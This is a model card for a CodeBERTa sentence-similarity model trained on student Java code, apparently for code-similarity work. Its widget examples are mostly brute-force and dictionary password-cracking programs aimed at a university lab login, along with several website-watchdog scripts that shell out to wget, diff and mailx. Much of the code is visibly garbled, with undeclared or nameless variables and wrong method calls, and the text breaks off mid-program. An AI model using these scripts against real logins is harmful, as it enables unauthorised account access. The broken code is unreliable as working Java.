Model: buelfhood/SOCO-Java-CodeBERTa-ST-1
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss, arxiv:1908.10084, arxiv:1703.07737, base_model:huggingface/CodeBERTa-small-v1, base_model:finetune:huggingface/CodeBERTa-small-v1, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: huggingface/CodeBERTa-small-v1
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss
base_model: huggingface/CodeBERTa-small-v1
widget: source_sentence: 


public class PasswordGen {
    
    private int iLastSeed = 0;
    private int iPasswordLength = 3;
    private String strPassword;
    
    
    public PasswordGen() {
        strPassword = "";
    }
    
    public boolean setSeed(int iSeedVal) {
        iLastSeed = iSeedVal;
        return true;
    }
    
    public String getPassword() {
        return strPassword;
    }
    
    public String getPassword(int iSeed) {
        int iRemainder, iAliquot, i;
        int arrChars[];
        boolean fDone;
        
        
        
        arrChars = new int[iPasswordLength];
        for(i = 0; i<iPasswordLength; i++)
                arrChars[i] = 0;

        fDone = false;
        iAliquot = iSeed;
        i=0;
        while(!fDone) {
            iRemainder = iAliquot % 52;
            if(iRemainder == 0) iRemainder=52;
            iAliquot = iAliquot / 52;
            
            arrChars[i] = iRemainder;
            if(i<iPasswordLength) i++;
            if(iAliquot == 0)
                fDone = true;
        }
        
        strPassword = convertPassword(arrChars);
        
        return strPassword;
    }
    
    public String getNextPassword() {
        iLastSeed++;
        strPassword = getPassword(iLastSeed);
        return strPassword;
    }
 
    private String convertPassword(int[] chars) {
        String strPwd;
        int i;
        
        strPwd = "";
        
        for(i=0; i<iPasswordLength; i++)
        {
            
            if(chars[i] != 0)
            {
                if (chars[i] < 27)
                {
                    strPwd += new Character((char)(chars[i]+64)).toString();
                }
                else
                {
                    strPwd += new Character((char)(chars[i]+70)).toString();
                }
            }
        }
        return strPwd;
    }
}

sentences: import java.io.*;


public class WatchDog
{
public static void main (String[] args)
{       String isdiff = new String();
        String[] cmd1 = {"//sh","-c","diff newfile.html oldfile.html > diff.txt"};
        String[] cmd2 = {"//sh","-c","mailx -s \"Web  Changed\" \"@cs.rmit.edu.\" < diff.txt"};

        try {


           while(true)
           {
              Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
              Thread.sleep(43200000);
              Thread.sleep(43200000);
              Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
              Thread.sleep(2000);
              Runtime.getRuntime().exec(cmd1);
              Thread.sleep(2000);
              BufferedReader diff = new BufferedReader(new FileReader("diff.txt"));
              if ((isdiff=diff.readLine()) != null)
              {
                 Runtime.getRuntime().exec(cmd2);
                 System.out.println("Change Detected & Email Send");
              }
              diff.print();
           }
        }

        catch (IOException err)
        {
         err.printStackTrace();
        }

         catch (InterruptedException err)
        {
         err.printStackTrace();
        }

}


}, import java.io.*;
import java.net.*;
import java.util.*;
import java.*;


public class WatchDog {


public static final int interval = 79200000;

public static void main(String[] args) {
    WatchDog wd = new WatchDog();
    Thread thread = new Thread();
    URLConnection conn = null;
    DataInputStream data = null;
    DataInputStream in = null;
    String line;
    String lines;
    String buffer = new String();
    String buffers = new String();
    String url = new String("http://www.cs.rmit.edu./students/");
    boolean change;
	try{
	URL myurl = new URL(url);
        conn = myurl.openConnection();
        conn.connect();
        Object content = null;
        
        System.out.println("Connection opened......");
        System.out.println("Retrieving data from URL");
        data = new DataInputStream(new BufferedInputStream(conn.getInputStream()));
        System.out.println(" data from the URL......");
        content = myurl.getContent();
        BufferedReader reader = null;
	reader = new BufferedReader(new InputStreamReader((InputStream) content));

        
        while ((line = data.readLine()) != null)

        {
         System.out.println(line);
         FileWriter outnew = new FileWriter("watchdogresult.html");
         outnew.write(line);
        }
        System.out.println("Waiting for any change....");
        thread.sleep(79200000);
        conn = myurl.openConnection();
        conn.connect();
        in = new DataInputStream(new BufferedInputStream(conn.getInputStream()));
        while ((lines = in.readLine()) != null)
        {

	 FileWriter newf = new FileWriter("watchdogresult.tmp");
         newf.write(buffers);
        }
	change = true;
        if(change);
        else{
	change = false;
        
	wd.mail();
	}
}
 catch (InterruptedException e) {}
  catch (IOException e) {
    e.printStackTrace();
    String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
    }
     else
     System.out.println("Other problems");
    }
 }


public void mail(){

      try {

      String from = new String("Watchdog Reporter");
      String email = new String("@cs.rmit.edu.");
      String subject = new String(" is a change in ");

      
      URL u = new URL("mailto:" + email);
      URLConnection c = u.openConnection();
      c.setDoInput(false);
      c.setDoOutput(true);
      System.out.println("Connecting...");
      System.out.flush();
      c.connect();
      PrintWriter out =
        new PrintWriter(new OutputStreamWriter(c.getOutputStream()));

      
      out.println("From: \"" + from + "\" <" +
                  System.getProperty("user.name") + "@" +
                  InetAddress.getLocalHost().getHostName() + ">");
      out.println(": "  );
      out.println("Subject: " + subject);
      out.println();  

      
      String line = new String("Watchdog observe that  is a change in the web  .");
      out.close();
      System.out.println("Message sent.");
      System.out.flush();
    }
    catch (Exception e) {
      System.err.println(e);
      }

  }

}

, 

import java.io.BufferedReader;
import java.io.FileReader;

import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.UsernamePasswordCredentials;
import org.apache.commons.httpclient.cookie.CookiePolicy;
import org.apache.commons.httpclient.methods.GetMethod;




public class  Dictionary{
    static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty("logonSite");
    static final int    LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty("logonPort")).intValue();
	static final String cad = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz";

    static final int    USE_PROXY_SERVER  = Integer.valueOf(DictionaryPropertyHelper.getProperty("useProxyServer")).intValue();
    static final int    PROXY_PORT        = Integer.valueOf(DictionaryPropertyHelper.getProperty("proxyPort")).intValue();

    static final String PROXY_SERVER      = DictionaryPropertyHelper.getProperty("proxyServer");
    static final String PROXY_USENAME     = DictionaryPropertyHelper.getProperty("proxyUserName");
    static final String PROXY_PASSWORD    = DictionaryPropertyHelper.getProperty("proxypassword");



    static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty("getMethod");
    static final int    NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty("numberOfGetsBeforeReleaseConnection")).intValue();


    public Dictionary() {
        super();
    }





    public static void main(String[] args) throws Exception {

		String statusLine = " ";
		int count = 0;
		int divValue = 0;

		String userName = "";
		String password = "";


        HttpClient client = new HttpClient();

        if (USE_PROXY_SERVER == 1) {
  			client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);
  			client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD));

        }
        client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);
        client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, "http");
        GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);



		
    	BufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty("dictionaryFile")));

		while ((password = wordFile.readLine()) != null) {


			if (validateWord(password)) {

				client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
				++count;
				System.out.println(" Counter " + count + " Password " + password);

				divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;

				if (divValue == 0) {



					System.out.println("Count: "+ count + " Div Value: "+ divValue+ " Releasing the connection and getting new one");
					getMethod.releaseConnection();
					getMethod = null;
					getMethod = new GetMethod(GET_METHOD_HACKER);

				}

		        client.executeMethod(getMethod);

		        statusLine = getMethod.getStatusLine().toString();


				
				

				if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) {


					System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password);


					System.exit(0);
				}


			}

		}

		System.out.println("Could not find the password!");

    }



	
	public static boolean validateWord(String str) {

	


		boolean isValid = false;

		
		if (str.length() > 3) {
			return isValid;
		}

		for (int i = 0; i < str.length(); i++) {
			for (int j = 0; j < cad.length(); j++) {
				if (str.charAt(i) == cad.charAt(j)) {
					isValid = true;
					break;
				}
				else
					isValid = false;
			}
			if (!isValid)
				break;
		}
		return isValid;
	}


}
, source_sentence: 





import java.util.*;
import java.io.*;
import java.net.*;

public class MyWatchDogTimer extends TimerTask
{
	public void run()
	{
	  Runtime rt = Runtime.getRuntime();
	  Process prss= null;
	  String initialmd5,presentmd5,finalmd5,temp1;
          String mesg1 = new String();
          String subject = new String("Report of WatchDog");

	  int i;
          
	  try
          {

              prss = rt.exec("md5sum first.html");

              InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
              BufferedReader bufread1 = new BufferedReader(instre1);
		    
             sw  = bufread1.readLine();
	      i = finalmd5.indexOf(' ');
	      initialmd5 = finalmd5.substring(0,i);
	      System.out.println("this is of first.html--->"+initialmd5);
		    

		    
              prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");

		    
              prss = rt.exec("md5sum present.html");
		    
              InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
              BufferedReader bufread2 = new BufferedReader(instre2);
		    
	      temp1 = bufread2.readLine();
	      i = temp1.indexOf(' ');
	      presentmd5 = temp1.substring(0,i);
	      System.out.println("this is of present.html---->"+presentmd5);
		
    
                 if(initialmd5.equals(presentmd5))
                     System.out.println("The checksum found using md5sum is same");
		 else
		    {
		      prss = rt.exec("diff first.html present.html > diff.html");
                      System.out.println(" is different"); 
                      prss = null;
                  mesg1 ="php mail.php";
		      prss = rt.exec(mesg1);
		    }   

                   prss = rt.exec("rm present.*");

    	     }catch(java.io.IOException e){}

        }
}		

sentences: import java.io.*;
import java.net.*;
import java.net.HttpURLConnection;
import javax.net.*;
import java.security.cert.*;

public class Dictionary
{
	public static void main(String[] args)
	{
		BufferedReader in = null;
		boolean found = true;
		String word = null;
		String cmd = null;
		Runtime run = Runtime.getRuntime();
		Process pro = null;
		BufferedReader inLine = null;



		String str = null;
		URLConnection connection = null;

		try
		{
			FileReader reader = new FileReader("words");
			in = new BufferedReader(reader);
			System.out.println(" cracking....");
			
			{
				found = true;
				word = new String(in.readLine());

				cmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";

				pro = run.exec(cmd);
				inLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));


				if((str=inLine.readLine())!=null)
				{

					while ((str=inLine.readLine())!=null)
					{
						if (str.endsWith("Required"))
						{

							found = false;
						}

					}
				}






				run.gc();
			}
			while (!found);





		}
		catch (FileNotFoundException exc)
		{
			System.out.println(exc);
		}
		catch (IOException exc)
		{
			System.out.println(exc);
		}
        catch (NullPointerException ex)
        {
            System.out.println(word);
        }
		finally
		{
			try
			{
				if (in!= null)
				{
					in.print();
				}
			}
			catch (IOException e) {}
		}
		if (found == true)
			System.out.println("The password is :" + word);
        else
            System.out.println("NOT FOUND!");
	}
}, 

import java.net.*;
import java.io.*;
	

class MyAuthenticator  extends Authenticator {

   String password;

   public MyAuthenticator(String pwdin) {
       password = pwdin;
   }
      
   protected PasswordAuthentication getPasswordAuthentication(){
	String  pwd = password;
	return new PasswordAuthentication("",pwd.toCharArray());
   }
}
, 

import java.net.*;
import java.io.*;
import java.io.IOException;
import java.util.*;
import java.*;


public class BruteForce {
    public static void main (String[] args) throws Exception {
      int maxChar = 26, counter=0, x =0, attempt =0 ;
      String guess = new String();
      String pass, inputLine;
      String letter[] = {"", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
                            "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" , "A", "B", "C", "D", "E"
                     , "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V",
                     "W", "X", "Y", "Z"};

        boolean flag=false;

       System.out.println(System.currentTimeMillis()/1000);

               for (int i=0; i<maxChar ; i++){
                   for (int j=0 ; j<maxChar ; j++){
                       for (int k=0 ; k<maxChar ; k++){
                              guess = letter[i]+letter[j]+letter[k];
                              attempt++;
                              System.out.println(guess);
                              pass = ":" + guess;
                              String password = new bf.misc.BASE64Encoder().encode(pass.getBytes());
                              try{
                                 URL u = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
                                 URLConnection yc = u.openConnection();
                                 yc.setRequestProperty("Authorization"," "+password);
                                 BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
                                 while ((inputLine = in.readLine()) != null)
                                        System.out.println(inputLine);
                                in.print();
                                System.out.println(guess);
                                System.out.println(System.currentTimeMillis()/1000);
                                System.out.println(" of attempt: "+attempt);
                                System.exit(0);

                             }catch(IOException e){ }
                      }
                  }
               }
    }
}, source_sentence: import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;

public class Dictionary 
{
  String uname = "";
  String pword = "null";
  Vector v = new Vector();
   int runTime;
  public void doConnect(String connect, int num)
  {
    String  = connect;
    
    try
     {
       URL secureSite = new URL();
       URLConnection connection = secureSite.openConnection();
       if (uname != null || pword != null)
	  {
	   
	    for(int i=num; i<v.size(); i++)
	    {
	      pword = (String)v.elementAt(i);
	      String up = uname + ":" + pword;
            String encoding;
            try
		{
		  connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
		  encoding = encoder.encode (up.getBytes());
		 
           }
	     catch (Exception ex) 
            {
		  Base64Converter encoder = new Base64Converter();
		  System.out.println("in catch");
              encoding = encoder.encode(up.getBytes());
           }
	     connection.setRequestProperty ("Authorization", " " + encoding);
           connection.connect();
           if(connection instanceof HttpURLConnection)
	     {
	       HttpURLConnection httpCon=(HttpURLConnection)connection;
             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
		  {
		   System.out.println("Not authorized - check  for details" + " -Incorrect Password : " + pword);
	         doConnect(i, i+1);
	       }
		else
		 { 
		  System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:");
	        System.out.println( +"\tPassword : "+ pword);

              runTime = System.currentTimeMillis() - runTime; 
              System.out.println("Time taken  crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken  crack password : "+ i);
	        System.exit(0);
	      }
	    }
	  }
      }
    }
    catch(Exception ex)
    {
      ex.printStackTrace();
    }
  }
  public Vector getPassword()
  {
    try
    {
      ReadFile  rf = new ReadFile();
      rf.loadFile();
      v = rf.getVector();
    }
    catch(Exception ex)
    {
      ex.printStackTrace();
    }
    return v;
  } 
  public void setTimeTaken( int timetaken)
  {
    runTime = timetaken;
  }   
  public static void main ( String args[] ) throws IOException 
  {
    
     runTime1 = System.currentTimeMillis();     
    Dictionary newDo = new Dictionary();
    newDo.setTimeTaken(runTime1);
    newDo. getPassword();
    String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
    newDo.doConnect(site, 0);
    
  }  
  
}

class  Base64Converter
      {
  
          public final char [ ]  alphabet = {
              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
              'w', 'x', 'y', 'z', '0', '1', '2', '3',   
              '4', '5', '6', '7', '8', '9', '+', '/' }; 
  
  
          public String  encode ( String  s )
          {
              return encode ( s.getBytes ( ) );
          }
  
          public String  encode ( byte [ ]  octetString )
          {
              int  bits24;
              int  bits6;
  
              char [ ]  out
                = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
  
              int outIndex = 0;
              int i        = 0;
  
              while ( ( i + 3 ) <= octetString.length ) {
                  
                  bits24=( octetString [ i++ ] & 0xFF ) << 16;
                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
  
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0000003F );
                  out [ outIndex++ ] = alphabet [ bits6 ];
              }
  
              if ( octetString.length - i == 2 )
              {
                  
                  bits24  = ( octetString [ i     ] & 0xFF ) << 16;
                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
                  out [ outIndex++ ] = alphabet [ bits6 ];
  
                  
                  out [ outIndex++ ] = '=';
              }
              else if ( octetString.length - i == 1 )
              {
                  
                  bits24 = ( octetString [ i ] & 0xFF ) << 16;
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
  
                  
                  out [ outIndex++ ] = '=';
                  out [ outIndex++ ] = '=';
              }
  
              return new String ( out );
          }
       }
  
  

sentences: 
import java.net.*;
import java.*;
import java.io.*;
import java.util.GregorianCalendar;
public class Dictionary
{



    public void crackAddress(String fileName) throws Exception
    {
       String line,username="",passwd,pass;
       int flag=0,i;
       BufferedReader bf = new BufferedReader(new FileReader(fileName));
       Runtime run = Runtime.getRuntime();
       GregorianCalendar =new GregorianCalendar();
       while((passwd=bf.readLine().trim())!=null)
       {
           if((i=passwd.indexOf("\'"))!= -1)
                 {
                    passwd =passwd.substring(0,i)+("\\")+(passwd.substring(i,passwd.length()));
                 }

          System.out.println("Hack password with the word:"+passwd);
	      String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd+" -dump";
	      Process result = run.exec(command_line);
          BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));

        while((line=bf.readLine())!=null)
        {
           flag=1;
           break;

        }
        if(flag==1)
        {
           System.out.println("The username is: "+username+" The password is: "+passwd);
           break;
        }
       }
       GregorianCalendar end=new GregorianCalendar();
       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;
       System.out.println("The attack use"+time+" seconds.");
    }

public static void main(String args[]) throws Exception
{
   Dictionary ds = new Dictionary();
   ds.crackAddress(args[0]);
}
}, 

import java.io.*;
import java.util.*;
import java.*;

public class storeNewFile
{
   private PrintWriter outputStream= null;
   private String filename;
   private FileWriter fw;

   public storeNewFile(String fname)
   {
      try
      {
       filename = fname;
       outputStream=new PrintWriter(new FileOutputStream(filename));
      }
      catch(FileNotFoundException e)
      {
	    System.err.println("File "+filename+" was not found");
      }
      catch(IOException e)
      {
        System.err.println("Error ");
      }
   }
   public void getStringW(StringWriter sw)
   {
     outputStream.print(sw.toString());
   }

   public void closeStream()
   {
      outputStream.write();
   }

   public void translogFile(String result)
   {
     String fileName = "TransactionLog.txt";
   	 try{
	    fw=new FileWriter(fileName,true);
	    fw.write(result);
	    fw.write('\n');
	    fw.print();
   	    System.out.println("Saved sucessfully");
     }catch(IOException e){
		System.out.println("Error saving the file");
     }
   }
}, 

import java.*;
import java.io.*;
import java.util.*;

public class Dictionary
{
 public String[] passwds;
 public int passwdNum;
 public static void main(String[] args) throws IOException
 {
  Dictionary dic=new Dictionary();
   dic.doDictionary();
  System.exit(1);
 }

 void doDictionary() throws IOException
 {
  Runtime rt=Runtime.getRuntime();
  passwds=new String[32768];
  passwdNum=0;

   time1=new Date().getTime();
  
  try
  {
		File f = new File ("words");
		FileReader fin = new FileReader (f);
		BufferedReader buf = new BufferedReader(fin);
		passwds[0]="00";
		System.out.println(" loading words....");
		
		{
		 passwds[passwdNum]=buf.readLine();
			 passwdNum++;
		}while(passwds[passwdNum-1]!=null);
		System.out.println("Finish loading words.");
  } catch (FileNotFoundException exc) {
     System.out.println ("File Not Found");
  } catch (IOException exc) {
     System.out.println ("IOException 1");
  } catch (NullPointerException exc) {
	 System.out.println ("NullPointerException");
  }

	 System.out.println(" cracking....");
	 for(int i=0;i<passwdNum;i++)
	 {
		try
		{
			
			Process p=rt.exec("lynx -auth=:"+passwds[i]+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
			
			String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
			p.destroy();

			if(ln!=null)
			
			if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
			{
			 System.out.println("Finish cracking.");
			 System.out.println(ln);
			 System.out.println("Password is "+passwds[i]);
			 break;
			}
		} catch (FileNotFoundException exc) {
				i--;
		} catch (IOException exc) {
				i--;
		} catch (NullPointerException exc) {
				i--;
		}

	 }

    time2=new Date().getTime();
   System.out.println("costs "+(time2-time1)+" milliseconds");
 }

}, source_sentence: import java.io.*;
import java.net.*;

public class BruteForce {
  public static void main(String[] args) {
      BruteForce brute=new BruteForce();
      brute.start();


     }


public void start() {
char passwd[]= new char[3];
String password;
String username="";
String auth_data;
String server_res_code;
String required_server_res_code="200";
int cntr=0;

try {

URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;


           for (int i=65;i<=122;i++)     {
               if(i==91) { i=i+6; }
               passwd[0]= (char) i;

           for (int j=65;j<=122;j++)     {
              if(j==91) { j=j+6; }
              passwd[1]=(char) j;

            for (int k=65;k<=122;k++)    {
                if(k==91) { k=k+6; }
                passwd[2]=(char) k;
                password=new String(passwd);
                password=password.trim();
                auth_data=null;
                auth_data=username + ":" + password;
                auth_data=auth_data.trim();
                auth_data=getBasicAuthData(auth_data);
                auth_data=auth_data.trim();
                conn=url.openConnection();
                conn.setDoInput (true);
                conn.setDoOutput(true);
                conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
                conn.setRequestProperty ("Authorization", auth_data);
                server_res_code=conn.getHeaderField(0);
                server_res_code=server_res_code.substring(9,12);
                server_res_code.trim();
                cntr++;
                System.out.println(cntr + " . " + "PASSWORD SEND : " + password + "  SERVER RESPONSE  : " + server_res_code);
                if( server_res_code.compareTo(required_server_res_code)==0 )
                {System.out.println("PASSWORD IS :  " + password + "  SERVER RESPONSE  : " + server_res_code );
                i=j=k=123;}
                                           }

                                        }

                                    }
        }
     catch (Exception e) {
           System.err.print(e);
           }
  }

public String getBasicAuthData (String getauthdata)    {

char base64Array [] = {
      'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
      'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
      'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
      'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
      'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
      'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
      'w', 'x', 'y', 'z', '0', '1', '2', '3',
      '4', '5', '6', '7', '8', '9', '+', '/' } ;

    String encodedString = "";
    byte bytes [] = getauthdata.getBytes ();
    int i = 0;
    int pad = 0;
    while (i < bytes.length) {
      byte b1 = bytes [i++];
      byte b2;
      byte b3;
      if (i >= bytes.length) {
         b2 = 0;
         b3 = 0;
         pad = 2;
         }
      else {
         b2 = bytes [i++];
         if (i >= bytes.length) {
            b3 = 0;
            pad = 1;
            }
         else
            b3 = bytes [i++];
         }
      byte c1 = (byte)(b1 >> 2);
      byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
      byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
      byte c4 = (byte)(b3 & 0x3f);
      encodedString += base64Array [c1];
      encodedString += base64Array [c2];
      switch (pad) {
        case 0:
         encodedString += base64Array [c3];
         encodedString += base64Array [c4];
         break;
        case 1:
         encodedString += base64Array [c3];
         encodedString += "=";
         break;
        case 2:
         encodedString += "==";
         break;
       }
      }
      return " " + encodedString;
  }
}
sentences: import java.net.*;
import java.io.*;
import java.util.*;

public class Dictionary {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      String file = "/usr/share/lib/dict/words";
      String word;
      char[] password = new char[MAX_LENGTH];
      String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";

      while (!auth) {
         
         BufferedReader in = null;
         try {
            
            in = new BufferedReader(new FileReader(file));
            while ((word = in.readLine()) != null && !auth) {
               try {
                  if (word.length() <= MAX_LENGTH) {
                     password = word.toCharArray();
                     
                     Authenticator.setDefault(new CrackAuth(password));
                     URL url = new URL(resource);
                     HttpURLConnection conn = (HttpURLConnection)url.openConnection();
                     conn.setRequestMethod("HEAD");
                     if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
                        System.out.println("cracked with " + new String(password));
                        auth = true;
                     }
                  }
               } catch (Exception e) {
                  System.out.println(" was  exception: " + e.getMessage());
               }
            }

         
         } catch (FileNotFoundException fnfe) {
            System.out.println("File Not Found");
         } catch (IOException ioe) {
            System.out.println("IOException");
         } catch(Exception e) {
            e.printStackTrace();
         } finally {
            try {
               in.close();
            } catch (Exception e) {;}
         }


      }
      if (!auth) {
         System.out.println("Unable  determine password");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = "";
      return new PasswordAuthentication(user, password);
   }
}
, 

import java.io.*;
import java.util.*;
import java.net.*;


public class Dictionary {

	public static void main(String[] args) {

	String attackURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
	String userID = "";
	String Password="";
	String userPassword="";

	File inputFile = new File("/usr/share/lib/dict/words");
        FileReader fin = null;
        BufferedReader bf  = null;

	try {
		 startmillisecond = System.currentTimeMillis();
	        URL url = new URL(attackURL);
	        fin = new FileReader(inputFile);
	        bf = new BufferedReader(fin);
		int count = 0;
	        while ((Password = bf.readLine()) !=null) {
	                if (Password.length() < 4) {
				count++;
				try {
					userPassword = userID + ":" + Password;
					System.out.println("User & Password :" + userPassword);
				        String encoding = Base64Converter.encode (userPassword.getBytes());
				
					URLConnection uc = url.openConnection();
					uc.setRequestProperty  ("Authorization", " " + encoding);
					InputStream content = (InputStream)uc.getInputStream();
					BufferedReader in = new BufferedReader (new InputStreamReader (content));
					String line;
					while ((line = in.readLine()) != null) {
			            
					System.out.println(line);
				        }
					 endmillisecond = System.currentTimeMillis();
					 searchmillisecond = endmillisecond - startmillisecond;
					System.out.println("Match in " + searchmillisecond + " milliseconds ");
					System.out.println("Try in " + count + " times ");
		                System.exit(1);

				} catch (MalformedURLException e) {
			       		System.out.println("Invalid URL");
				} catch (IOException e) {
		      			System.out.println("Error  URL");
				}
			}
		}
	}
	catch (Exception ioe) {
            	System.out.println(ioe.getMessage());
        }
        finally {
        }
   }

}
, 



import java.net.*;
import java.io.*;
import java.util.Date;

public class BruteForce {
  private URL url;
  private HttpURLConnection connection;
  private static String[] lowerCase = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
                                       "k", "l", "m", "n", "o", "p", "q", "r", "s", "t",
                                       "u", "v", "w", "x", "y", "z"};
  private static String[] upperCase = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
                                       "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T",
                                       "U", "V", "W", "X", "Y", "Z"};
  private String userPassword, base64_userPassword;
  private static char wrongPass;

  public BruteForce() {
    wrongPass = 'Y';
  }

  public char determinePass(String inputURL, String userName, String passWord){

    try{
        url = new URL(inputURL);
        connection = (HttpURLConnection)url.openConnection();
        this.getEncoded(userName, passWord);
        connection.setDoInput(true);
        connection.setDoOutput(false);
        connection.setRequestProperty("Authorization",
                                      " " + base64_userPassword);

        if  (connection.getResponseCode() == 200)
        {
          System.out.println("Success!! Password is: " + passWord);
          wrongPass = 'N';
        }

        return wrongPass;
    }
    catch (MalformedURLException e){System.out.println("Invalide url");}
    catch (IOException e){System.out.println("Error  URL");
                          wrongPass = 'Y';}
    return wrongPass;
  }

  public static void main(String[] args) {
    int i, j, k;
    String brutePass;

    BruteForce bruteForce1 = new BruteForce();

    Date date = new Date(System.currentTimeMillis());
    System.out.print(" time is: ");
    System.out.println(date.toString());
    
    
    

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = lowerCase[i] + lowerCase[j] + lowerCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

     if  (wrongPass == 'N')
     {
       date.setTime(System.currentTimeMillis());
       System.out.print("End time is: ");
       System.out.println(date.toString());
       System.exit(0);
     }


    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = upperCase[i] + upperCase[j] + upperCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
